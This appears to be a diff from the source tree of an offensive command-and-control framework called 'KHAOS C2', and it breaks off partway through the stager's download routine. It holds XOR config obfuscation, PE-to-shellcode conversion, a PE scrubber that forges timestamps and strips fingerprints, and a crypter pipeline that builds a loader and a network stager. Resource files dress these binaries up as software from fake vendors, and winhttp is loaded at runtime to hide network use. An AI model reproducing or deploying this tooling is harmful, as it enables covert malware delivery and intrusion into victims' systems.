|
||||
data = s.encode()
|
||||
return [b ^ XOR_KEY[i % XOR_KEY_LEN] for i, b in enumerate(data)]
|
||||
|
||||
|
||||
def emit_array(name: str, value: str) -> str:
|
||||
if not value:
|
||||
return f"/* {name}: not configured */\nstatic const unsigned char CFG_{name}[] = {{0x00}};\n#define CFG_{name}_LEN 0\n"
|
||||
enc = xor_encode(value)
|
||||
arr = ", ".join(f"0x{b:02x}" for b in enc)
|
||||
preview = value[:32] + ("…" if len(value) > 32 else "")
|
||||
lines = [
|
||||
f"/* {name} — XOR-encoded ({len(enc)} bytes) */",
|
||||
f"/* plaintext preview: {preview!r} */",
|
||||
f"static const unsigned char CFG_{name}[] = {{{arr}, 0x00}};",
|
||||
f"#define CFG_{name}_LEN {len(enc)}",
|
||||
"",
|
||||
]
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def main():
|
||||
yaml_path = sys.argv[1] if len(sys.argv) > 1 else \
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "server", "config.yaml")
|
||||
|
||||
if os.path.exists(yaml_path):
|
||||
load_yaml(yaml_path)
|
||||
else:
|
||||
print(f"[warn] config.yaml not found at {yaml_path} — using empty values", file=sys.stderr)
|
||||
|
||||
key_hex = ", ".join(f"0x{b:02x}" for b in XOR_KEY)
|
||||
header = f"""\
|
||||
/* AUTO-GENERATED by tools/obfuscate.py — do not edit manually.
|
||||
* Re-run: python tools/obfuscate.py [../server/config.yaml]
|
||||
* XOR key (rolling {XOR_KEY_LEN} bytes): {{ {key_hex} }}
|
||||
*/
|
||||
#ifndef AGENT_CONFIG_H
|
||||
#define AGENT_CONFIG_H
|
||||
|
||||
#define CFG_XOR_KEY_LEN {XOR_KEY_LEN}
|
||||
static const unsigned char CFG_XOR_KEY[{XOR_KEY_LEN}] = {{ {key_hex} }};
|
||||
|
||||
"""
|
||||
|
||||
for name, value in VALUES.items():
|
||||
header += emit_array(name, value)
|
||||
|
||||
header += "\n#endif /* AGENT_CONFIG_H */\n"
|
||||
|
||||
out_path = os.path.join(os.path.dirname(__file__), "..", "include", "agent_config.h")
|
||||
with open(out_path, "w") as f:
|
||||
f.write(header)
|
||||
|
||||
print(f"[ok] wrote {out_path}")
|
||||
for k, v in VALUES.items():
|
||||
status = f"({len(v)} chars)" if v else "EMPTY"
|
||||
print(f" {k:<20} {status}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,82 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
pe2sc.py — convert a PE executable to position-independent shellcode via donut.
|
||||
|
||||
Usage:
|
||||
python pe2sc.py <input.exe> <output.bin>
|
||||
|
||||
Requires ONE of:
|
||||
a) pip install donut-shellcode (Python extension, needs MSVC on Windows)
|
||||
b) donut.exe in PATH or tools/ (pre-built binary from github.com/TheWover/donut)
|
||||
|
||||
Download donut.exe:
|
||||
https://github.com/TheWover/donut/releases
|
||||
"""
|
||||
import sys
|
||||
import os
|
||||
import subprocess
|
||||
import shutil
|
||||
|
||||
|
||||
def _via_python(in_path: str, out_path: str) -> bool:
|
||||
try:
|
||||
import donut # type: ignore
|
||||
except ImportError:
|
||||
return False
|
||||
shellcode = donut.create(file=in_path, arch=3, entropy=3)
|
||||
with open(out_path, "wb") as fh:
|
||||
fh.write(shellcode)
|
||||
print(f"[ok] {out_path} ({len(shellcode)} bytes) [donut python]")
|
||||
return True
|
||||
|
||||
|
||||
def _via_binary(in_path: str, out_path: str) -> bool:
|
||||
# Look for donut.exe in PATH, then next to this script
|
||||
donut_bin = shutil.which("donut") or shutil.which("donut.exe")
|
||||
if not donut_bin:
|
||||
script_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
candidate = os.path.join(script_dir, "donut.exe")
|
||||
if os.path.exists(candidate):
|
||||
donut_bin = candidate
|
||||
if not donut_bin:
|
||||
return False
|
||||
|
||||
# donut.exe -f 1 (raw) -a 3 (x86+x64) -e 3 (encrypt+random) -o <out> <in>
|
||||
cmd = [donut_bin, "-f", "1", "-a", "3", "-e", "3", "-o", out_path, in_path]
|
||||
r = subprocess.run(cmd, capture_output=True, text=True)
|
||||
if r.returncode != 0:
|
||||
print(r.stderr or r.stdout, file=sys.stderr)
|
||||
return False
|
||||
sz = os.path.getsize(out_path) if os.path.exists(out_path) else 0
|
||||
print(f"[ok] {out_path} ({sz} bytes) [donut binary]")
|
||||
return True
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 3:
|
||||
print(f"usage: {sys.argv[0]} <input.exe> <output.bin>", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
in_path, out_path = sys.argv[1], sys.argv[2]
|
||||
|
||||
if not os.path.exists(in_path):
|
||||
print(f"error: {in_path}: file not found", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
if _via_python(in_path, out_path):
|
||||
return
|
||||
if _via_binary(in_path, out_path):
|
||||
return
|
||||
|
||||
print(
|
||||
"error: donut not found.\n"
|
||||
" option 1: pip install donut-shellcode (requires MSVC on Windows)\n"
|
||||
" option 2: place donut.exe in PATH or agent/tools/\n"
|
||||
" https://github.com/TheWover/donut/releases",
|
||||
file=sys.stderr,
|
||||
)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
pe_scrub.py — post-build PE normalization.
|
||||
- Timestamp: random plausible past date (2021-2024)
|
||||
- Checksum: 0x00000000
|
||||
- DOS stub padding: randomized (defeats stub fingerprint)
|
||||
- Debug directory: timestamp fields zeroed
|
||||
"""
|
||||
import sys, os, struct, random, time, datetime
|
||||
|
||||
def scrub(path):
|
||||
with open(path, 'r+b') as f:
|
||||
data = bytearray(f.read())
|
||||
|
||||
if data[:2] != b'MZ':
|
||||
print(f"[!] pe_scrub: not a PE: {path}"); return 1
|
||||
|
||||
e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
|
||||
if data[e_lfanew:e_lfanew+4] != b'PE\x00\x00':
|
||||
print(f"[!] pe_scrub: bad PE signature"); return 1
|
||||
|
||||
# Random timestamp 2021-01-01 … 2024-06-01
|
||||
ts_min = int(time.mktime((2021, 1, 1, 0, 0, 0, 0, 0, 0)))
|
||||
ts_max = int(time.mktime((2024, 6, 1, 0, 0, 0, 0, 0, 0)))
|
||||
ts = random.randint(ts_min, ts_max)
|
||||
struct.pack_into('<I', data, e_lfanew + 8, ts)
|
||||
|
||||
# Zero checksum (Optional Header + 0x40)
|
||||
opt_off = e_lfanew + 4 + 20
|
||||
struct.pack_into('<I', data, opt_off + 64, 0)
|
||||
|
||||
# Randomize DOS stub padding (0x40 .. e_lfanew-4)
|
||||
pad_start, pad_end = 0x40, e_lfanew - 4
|
||||
if pad_end > pad_start:
|
||||
for i in range(pad_start, pad_end):
|
||||
data[i] = random.randint(0, 255)
|
||||
|
||||
# Parse section table (needed for both debug dir and .comment)
|
||||
num_sections = struct.unpack_from('<H', data, e_lfanew + 6)[0]
|
||||
opt_size = struct.unpack_from('<H', data, e_lfanew + 20)[0]
|
||||
sec_off = e_lfanew + 24 + opt_size
|
||||
magic = struct.unpack_from('<H', data, opt_off)[0]
|
||||
|
||||
def rva_to_off(rva):
|
||||
for s in range(num_sections):
|
||||
o = sec_off + s * 40
|
||||
va = struct.unpack_from('<I', data, o + 12)[0]
|
||||
vs = struct.unpack_from('<I', data, o + 16)[0]
|
||||
ro = struct.unpack_from('<I', data, o + 20)[0]
|
||||
if va <= rva < va + vs:
|
||||
return ro + (rva - va)
|
||||
return None
|
||||
|
||||
# Zero debug directory timestamp
|
||||
dd_off = opt_off + (96 if magic == 0x10b else 112) + 6 * 8
|
||||
dbg_rva = struct.unpack_from('<I', data, dd_off)[0]
|
||||
dbg_size = struct.unpack_from('<I', data, dd_off + 4)[0]
|
||||
if dbg_rva and dbg_size >= 28:
|
||||
fo = rva_to_off(dbg_rva)
|
||||
if fo:
|
||||
struct.pack_into('<I', data, fo + 4, 0)
|
||||
|
||||
# Zero .comment section content (GCC version fingerprint)
|
||||
for s in range(num_sections):
|
||||
o = sec_off + s * 40
|
||||
name = data[o:o+8].rstrip(b'\x00')
|
||||
if name == b'.comment':
|
||||
raw_sz = struct.unpack_from('<I', data, o + 16)[0]
|
||||
raw_off = struct.unpack_from('<I', data, o + 20)[0]
|
||||
for i in range(raw_off, raw_off + raw_sz):
|
||||
data[i] = 0
|
||||
break
|
||||
|
||||
with open(path, 'wb') as f:
|
||||
f.write(data)
|
||||
|
||||
ts_str = datetime.datetime.utcfromtimestamp(ts).strftime('%Y-%m-%d')
|
||||
print(f"[ok] pe_scrub {os.path.basename(path)} ts={ts_str} chk=0x00000000")
|
||||
return 0
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) < 2:
|
||||
print(f"usage: {sys.argv[0]} <pe_file>"); sys.exit(1)
|
||||
sys.exit(scrub(sys.argv[1]))
|
||||
@@ -0,0 +1,67 @@
|
||||
#!/usr/bin/env bash
|
||||
# ============================================================
|
||||
# KHAOS C2 — Build script for Kali Linux / Debian
|
||||
# Run this on the Linux machine where you want to build
|
||||
# ============================================================
|
||||
set -e
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
SERVER_DIR="$SCRIPT_DIR/server"
|
||||
UI_DIR="$SCRIPT_DIR/ui"
|
||||
BINARIES_DIR="$UI_DIR/src-tauri/binaries"
|
||||
|
||||
echo "[*] Installing system dependencies..."
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
curl wget git build-essential pkg-config \
|
||||
libssl-dev libsqlite3-dev python3 python3-pip python3-venv \
|
||||
libwebkit2gtk-4.1-dev libgtk-3-dev libayatana-appindicator3-dev \
|
||||
librsvg2-dev patchelf
|
||||
|
||||
# ---- Node.js ----
|
||||
if ! command -v node &>/dev/null; then
|
||||
echo "[*] Installing Node.js..."
|
||||
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
|
||||
sudo apt-get install -y nodejs
|
||||
fi
|
||||
|
||||
# ---- Rust ----
|
||||
if ! command -v cargo &>/dev/null; then
|
||||
echo "[*] Installing Rust..."
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
|
||||
source "$HOME/.cargo/env"
|
||||
fi
|
||||
source "$HOME/.cargo/env"
|
||||
|
||||
# ---- Python venv ----
|
||||
echo "[*] Setting up Python venv..."
|
||||
cd "$SERVER_DIR"
|
||||
python3 -m venv venv
|
||||
./venv/bin/pip install -q -r requirements.txt
|
||||
./venv/bin/pip install -q pyinstaller
|
||||
|
||||
# ---- Build khaos-server (Linux binary) ----
|
||||
echo "[*] Building khaos-server with PyInstaller..."
|
||||
./venv/bin/pyinstaller --clean khaos-server.spec
|
||||
|
||||
# Copy sidecar with Linux target triple name
|
||||
mkdir -p "$BINARIES_DIR"
|
||||
TRIPLE="x86_64-unknown-linux-gnu"
|
||||
cp dist/khaos-server "$BINARIES_DIR/khaos-server-$TRIPLE"
|
||||
chmod +x "$BINARIES_DIR/khaos-server-$TRIPLE"
|
||||
echo "[+] Sidecar copied: khaos-server-$TRIPLE"
|
||||
|
||||
# ---- Build Tauri UI ----
|
||||
echo "[*] Installing npm dependencies..."
|
||||
cd "$UI_DIR"
|
||||
npm install --silent
|
||||
|
||||
echo "[*] Building Tauri app for Linux..."
|
||||
cargo tauri build
|
||||
|
||||
echo ""
|
||||
echo "[+] Build complete!"
|
||||
echo " .deb: $UI_DIR/src-tauri/target/release/bundle/deb/"
|
||||
echo " AppImage: $UI_DIR/src-tauri/target/release/bundle/appimage/"
|
||||
echo ""
|
||||
echo "[!] Config & DB will be stored in ~/.local/share/KHAOS/ on first run"
|
||||
@@ -0,0 +1,104 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
build.py — crypter build pipeline.
|
||||
|
||||
Modes:
|
||||
python build.py full: agent + bake + loader
|
||||
python build.py --bake-only bake + loader (existing agent.exe)
|
||||
python build.py --stub-only loader only (existing payload files)
|
||||
python build.py --stager-url <url> full + stager (downloads from url)
|
||||
python build.py --bake-only --stager-url <url>
|
||||
python build.py --ignore-cert stager skips TLS cert check
|
||||
"""
|
||||
import subprocess
|
||||
import sys
|
||||
import os
|
||||
import shutil
|
||||
import argparse
|
||||
|
||||
ROOT = os.path.dirname(os.path.abspath(__file__))
|
||||
AGENT = os.path.normpath(os.path.join(ROOT, "..", "agent"))
|
||||
STUB = os.path.join(ROOT, "stub")
|
||||
STAGER = os.path.join(ROOT, "stager")
|
||||
TOOLS = os.path.join(ROOT, "tools")
|
||||
OUTPUT = os.path.join(ROOT, "output")
|
||||
|
||||
def _find(name: str, *fallbacks: str) -> str:
|
||||
found = shutil.which(name)
|
||||
if found:
|
||||
return found
|
||||
for fb in fallbacks:
|
||||
if os.path.isfile(fb):
|
||||
return fb
|
||||
raise FileNotFoundError(
|
||||
f"Cannot find '{name}'. Install it or add it to PATH."
|
||||
)
|
||||
|
||||
MAKE = _find("make", r"C:\msys64\usr\bin\make.exe")
|
||||
PYTHON = _find("python", r"C:\msys64\mingw64\bin\python.exe", sys.executable)
|
||||
|
||||
|
||||
def run(cmd: list, cwd: str = None) -> None:
|
||||
print(f"[+] {' '.join(str(x) for x in cmd)}")
|
||||
r = subprocess.run(cmd, cwd=cwd)
|
||||
if r.returncode != 0:
|
||||
sys.exit(r.returncode)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--bake-only", action="store_true")
|
||||
ap.add_argument("--stub-only", action="store_true")
|
||||
ap.add_argument("--stager-url", default=None,
|
||||
help="Build stager that downloads from this URL")
|
||||
ap.add_argument("--ignore-cert", action="store_true",
|
||||
help="Stager ignores TLS cert errors")
|
||||
args = ap.parse_args()
|
||||
|
||||
agent_bin = os.path.join(AGENT, "agent.exe")
|
||||
|
||||
# 1. build agent
|
||||
if not args.bake_only and not args.stub_only:
|
||||
run([MAKE, "build-only"], cwd=AGENT)
|
||||
|
||||
# 2. bake
|
||||
if not args.stub_only:
|
||||
if not os.path.isfile(agent_bin):
|
||||
sys.exit(f"[!] agent.exe not found: {agent_bin}")
|
||||
bake_cmd = [PYTHON, os.path.join(TOOLS, "bake.py"),
|
||||
agent_bin, "--out-dir", STUB]
|
||||
if args.stager_url:
|
||||
bake_cmd += ["--stager-url", args.stager_url]
|
||||
if args.ignore_cert:
|
||||
bake_cmd += ["--ignore-cert"]
|
||||
run(bake_cmd)
|
||||
|
||||
# 3. check payload files
|
||||
if not os.path.isfile(os.path.join(STUB, "payload_meta.h")) or \
|
||||
not os.path.isfile(os.path.join(STUB, "payload.bin")):
|
||||
sys.exit(f"[!] payload files missing in {STUB}")
|
||||
|
||||
# 4. build loader (embedded payload)
|
||||
run([MAKE], cwd=STUB)
|
||||
|
||||
os.makedirs(OUTPUT, exist_ok=True)
|
||||
loader_src = os.path.join(STUB, "loader.exe")
|
||||
loader_dst = os.path.join(OUTPUT, "loader.exe")
|
||||
shutil.copy2(loader_src, loader_dst)
|
||||
print(f"[ok] loader {os.path.getsize(loader_dst)//1024} KB -> {loader_dst}")
|
||||
|
||||
# 5. build stager (network download) if requested
|
||||
if args.stager_url:
|
||||
if not os.path.isfile(os.path.join(STAGER, "stager_cfg.h")):
|
||||
sys.exit(f"[!] stager_cfg.h missing — bake with --stager-url failed?")
|
||||
run([MAKE], cwd=STAGER)
|
||||
stager_src = os.path.join(STAGER, "stager.exe")
|
||||
stager_dst = os.path.join(OUTPUT, "stager.exe")
|
||||
shutil.copy2(stager_src, stager_dst)
|
||||
payload_srv = os.path.join(STAGER, "payload.bin")
|
||||
print(f"[ok] stager {os.path.getsize(stager_dst)//1024} KB -> {stager_dst}")
|
||||
print(f"[!!] upload {payload_srv} to your server at {args.stager_url}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,30 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity
|
||||
version="2.4.1.0"
|
||||
processorArchitecture="amd64"
|
||||
name="Veristone.VeriMetrics.Collector"
|
||||
type="win32"/>
|
||||
<description>System Metrics Collector</description>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
|
||||
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
|
||||
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
|
||||
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
|
||||
</application>
|
||||
</compatibility>
|
||||
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<windowsSettings>
|
||||
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
|
||||
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
|
||||
</windowsSettings>
|
||||
</application>
|
||||
</assembly>
|
||||
@@ -0,0 +1,33 @@
|
||||
#include <windows.h>
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 2,4,1,0
|
||||
PRODUCTVERSION 2,4,1,0
|
||||
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS VOS_NT_WINDOWS32
|
||||
FILETYPE VFT_APP
|
||||
FILESUBTYPE VFT2_UNKNOWN
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "040904B0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "Veristone Technologies Inc."
|
||||
VALUE "FileDescription", "System Metrics Collector"
|
||||
VALUE "FileVersion", "2.4.1.0"
|
||||
VALUE "InternalName", "metricsd"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2023 Veristone Technologies Inc. All rights reserved."
|
||||
VALUE "OriginalFilename", "metricsd.exe"
|
||||
VALUE "ProductName", "VeriMetrics Suite"
|
||||
VALUE "ProductVersion", "2.4"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x0409, 0x04B0
|
||||
END
|
||||
END
|
||||
|
||||
1 RT_MANIFEST "loader.manifest"
|
||||
101 RCDATA "payload.bin"
|
||||
@@ -0,0 +1,29 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity
|
||||
version="1.2.0.4"
|
||||
processorArchitecture="amd64"
|
||||
name="Procyon.AutoSync.Manager"
|
||||
type="win32"/>
|
||||
<description>Automated content synchronization service</description>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
|
||||
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
|
||||
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
|
||||
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
|
||||
</application>
|
||||
</compatibility>
|
||||
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<windowsSettings>
|
||||
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
|
||||
</windowsSettings>
|
||||
</application>
|
||||
</assembly>
|
||||
@@ -0,0 +1,32 @@
|
||||
#include <windows.h>
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,2,0,4
|
||||
PRODUCTVERSION 1,2,0,4
|
||||
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS VOS_NT_WINDOWS32
|
||||
FILETYPE VFT_APP
|
||||
FILESUBTYPE VFT2_UNKNOWN
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "040904B0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "Procyon Software Solutions"
|
||||
VALUE "FileDescription", "Automated Content Synchronization"
|
||||
VALUE "FileVersion", "1.2.0.4"
|
||||
VALUE "InternalName", "autosync"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2022 Procyon Software Solutions. All rights reserved."
|
||||
VALUE "OriginalFilename", "AutoSync.exe"
|
||||
VALUE "ProductName", "AutoSync Manager"
|
||||
VALUE "ProductVersion", "1.2"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x0409, 0x04B0
|
||||
END
|
||||
END
|
||||
|
||||
1 RT_MANIFEST "stager.manifest"
|
||||
@@ -0,0 +1,59 @@
|
||||
ifeq ($(OS),Windows_NT)
|
||||
MSYS2 ?= C:/msys64/mingw64
|
||||
CC ?= $(MSYS2)/bin/gcc.exe
|
||||
STRIP ?= $(MSYS2)/bin/strip.exe
|
||||
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
|
||||
WINDRES ?= $(MSYS2)/bin/windres.exe
|
||||
PYTHON ?= python
|
||||
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
|
||||
export TEMP := $(TMP)
|
||||
else
|
||||
CC ?= x86_64-w64-mingw32-gcc
|
||||
STRIP ?= x86_64-w64-mingw32-strip
|
||||
OBJCOPY ?= x86_64-w64-mingw32-objcopy
|
||||
WINDRES ?= x86_64-w64-mingw32-windres
|
||||
PYTHON ?= python3
|
||||
endif
|
||||
|
||||
TARGET = stager.exe
|
||||
RES_SRC = ../res/stager.rc
|
||||
RES_OBJ = stager_res.o
|
||||
|
||||
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
|
||||
-fno-ident -fno-asynchronous-unwind-tables \
|
||||
-fno-stack-protector -fno-builtin \
|
||||
-Wno-cast-function-type -nostdlib \
|
||||
-I../stub
|
||||
|
||||
# winhttp loaded at runtime via LoadLibraryA — NOT in LDFLAGS.
|
||||
# This keeps winhttp.dll out of the IAT (stager looks like a non-network binary).
|
||||
LDFLAGS = -Wl,--entry,WinMainCRTStartup \
|
||||
-Wl,-subsystem,windows \
|
||||
-Wl,--no-insert-timestamp \
|
||||
-lkernel32
|
||||
|
||||
SRCS = stager.c ../stub/pe_load.c
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
all: stager_cfg.h $(RES_OBJ) $(TARGET)
|
||||
|
||||
$(RES_OBJ): $(RES_SRC) ../res/stager.manifest
|
||||
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
|
||||
|
||||
$(TARGET): $(SRCS) ../stub/peb_utils.h ../stub/pe_load.h stager_cfg.h $(RES_OBJ)
|
||||
$(CC) $(CFLAGS) -o $@ $(SRCS) $(RES_OBJ) $(LDFLAGS)
|
||||
$(STRIP) --strip-all $(TARGET)
|
||||
$(OBJCOPY) --strip-debug $(TARGET)
|
||||
$(PYTHON) ../../agent/tools/pe_scrub.py $(TARGET)
|
||||
@echo "[ok] $(TARGET)"
|
||||
|
||||
stager_cfg.h:
|
||||
$(error stager_cfg.h missing -- run: python build.py --stager-url https://HOST/path)
|
||||
|
||||
clean:
|
||||
ifeq ($(OS),Windows_NT)
|
||||
del /Q $(TARGET) $(RES_OBJ) stager_cfg.h 2>nul & exit 0
|
||||
else
|
||||
rm -f $(TARGET) $(RES_OBJ) stager_cfg.h
|
||||
endif
|
||||
@@ -0,0 +1,149 @@
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include <stdint.h>
|
||||
#include "../stub/pe_load.h"
|
||||
#include "../stub/peb_utils.h"
|
||||
#include "stager_cfg.h"
|
||||
|
||||
static void _decrypt(uint8_t *buf, uint32_t len, uint32_t seed) {
|
||||
uint32_t s = seed;
|
||||
uint32_t *p = (uint32_t *)buf;
|
||||
uint32_t n = len >> 2;
|
||||
for (uint32_t i = 0; i < n; i++) {
|
||||
p[i] ^= s;
|
||||
s = s * 1664525u + 1013904223u;
|
||||
}
|
||||
uint8_t *t = buf + (n << 2);
|
||||
for (uint32_t i = 0, rem = len & 3u; i < rem; i++)
|
||||
t[i] ^= (uint8_t)(s >> (i * 8));
|
||||
}
|
||||
|
||||
typedef HINTERNET (WINAPI *pfnWHO)(LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD);
|
||||
typedef HINTERNET (WINAPI *pfnWHC)(HINTERNET,LPCWSTR,INTERNET_PORT,DWORD);
|
||||
typedef HINTERNET (WINAPI *pfnWHOR)(HINTERNET,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR*,DWORD);
|
||||
typedef BOOL (WINAPI *pfnWHSR)(HINTERNET,LPCWSTR,DWORD,LPVOID,DWORD,DWORD,DWORD_PTR);
|
||||
typedef BOOL (WINAPI *pfnWHRR)(HINTERNET,LPVOID);
|
||||
typedef BOOL (WINAPI *pfnWHRD)(HINTERNET,LPVOID,DWORD,LPDWORD);
|
||||
typedef BOOL (WINAPI *pfnWHQH)(HINTERNET,DWORD,LPCWSTR,LPVOID,LPDWORD,LPDWORD);
|
||||
typedef BOOL (WINAPI *pfnWHSO)(HINTERNET,DWORD,LPVOID,DWORD);
|
||||
typedef BOOL (WINAPI *pfnWHCH)(HINTERNET);
|
||||
|
||||
static uint8_t *_fetch(void) {
|
||||
HMODULE wh = LoadLibraryA("winhttp.dll");
|
||||
if (!wh) return NULL;
|
||||
|
||||
pfnWHO fnOpen = (pfnWHO) GetProcAddress(wh, "WinHttpOpen");
|
||||
pfnWHC fnConn = (pfnWHC) GetProcAddress(wh, "WinHttpConnect");
|
||||
pfnWHOR fnOReq = (pfnWHOR)GetProcAddress(wh, "WinHttpOpenRequest");
|
||||
pfnWHSR fnSend = (pfnWHSR)GetProcAddress(wh, "WinHttpSendRequest");
|
||||
pfnWHRR fnRecv = (pfnWHRR)GetProcAddress(wh, "WinHttpReceiveResponse");
|
||||
pfnWHRD fnRead = (pfnWHRD)GetProcAddress(wh, "WinHttpReadData");
|
||||
pfnWHQH fnQHdr = (pfnWHQH)GetProcAddress(wh, "WinHttpQueryHeaders");
|
||||
#if STAGER_IGNORE_CERT
|
||||
pfnWHSO fnSetOpt = (pfnWHSO)GetProcAddress(wh, "WinHttpSetOption");
|
||||
#endif
|
||||
pfnWHCH fnClose = (pfnWHCH)GetProcAddress(wh, "WinHttpCloseHandle");
|
||||
if (!fnOpen || !fnConn || !fnOReq || !fnSend ||
|
||||
!fnRecv || !fnRead || !fnQHdr || !fnClose) return NULL;
|
||||
|
||||
HINTERNET hSes = fnOpen(
|
||||
STAGER_UA,
|
||||
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME,
|
||||
WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
if (!hSes) return NULL;
|
||||
|
||||
HINTERNET hCon = fnConn(hSes, STAGER_HOST, (INTERNET_PORT)STAGER_PORT, 0);
|
||||
if (!hCon) { fnClose(hSes); return NULL; }
|
||||
|
||||
DWORD req_flags = STAGER_USE_SSL ? WINHTTP_FLAG_SECURE : 0;
|
||||
HINTERNET hReq = fnOReq(hCon, L"GET", STAGER_PATH,
|
||||
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, req_flags);
|
||||
if (!hReq) { fnClose(hCon); fnClose(hSes); return NULL; }
|
||||
|
||||
#if STAGER_IGNORE_CERT
|
||||
if (fnSetOpt) {
|
||||
DWORD fl = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
fnSetOpt(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &fl, sizeof(fl));
|
||||
}
|
||||
#endif
|
||||
|
||||
if (!fnSend(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||
WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
|
||||
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
|
||||
}
|
||||
if (!fnRecv(hReq, NULL)) {
|
||||
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
|
||||
}
|
||||
|
||||
/* verify HTTP 200 */
|
||||
DWORD status = 0, sz = sizeof(DWORD);
|
||||
fnQHdr(hReq,
|
||||
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
||||
WINHTTP_HEADER_NAME_BY_INDEX, &status, &sz, WINHTTP_NO_HEADER_INDEX);
